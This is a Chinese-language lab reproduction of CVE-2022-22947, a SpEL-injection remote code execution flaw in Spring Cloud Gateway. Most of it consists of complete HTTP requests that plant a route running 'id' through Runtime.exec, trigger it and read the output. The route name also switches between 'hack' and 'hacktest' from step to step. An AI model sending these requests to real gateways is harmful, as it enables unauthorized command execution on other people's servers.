Spring Cloud Gateway 远程代码执行（CVE-2022-22947）

漏洞概述

Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关，它旨在为微服务架构提供一种简单、有效、统一的 API路由管理方式。

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

影响版本

Spring Cloud Gateway < 3.1.1

Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway

其他已不再更新的版本

漏洞复现

使用信息泄露字典对靶场进行爆破，发现actuator下有数据，但是并未爆破到actuator/gateway/routes/路径，访问下看下

下面开始漏洞利用

1.首先构造一个post请求包，可利用如下数据包添加一个包含恶意SpEL表达式的路由

POST /actuator/gateway/routes/hack HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Type: application/json

Content-Length: 329

{

"id": "hack",

"filters": [{

"name": "AddResponseHeader",

"args": {

"name": "Result",

"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"

}

}],

"uri": "http://example.com:80",

"order":0

}

需要注意的是这里的content-type需要是json格式

2.触发对SpEL表达式的执行

POST /actuator/gateway/refresh HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

3.查看执行结果

GET /actuator/gateway/routes/hacktest HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

4.删除添加的路由

DELETE /actuator/gateway/routes/hacktest HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

5.刷新路由

POST /actuator/gateway/refresh HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win; x) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded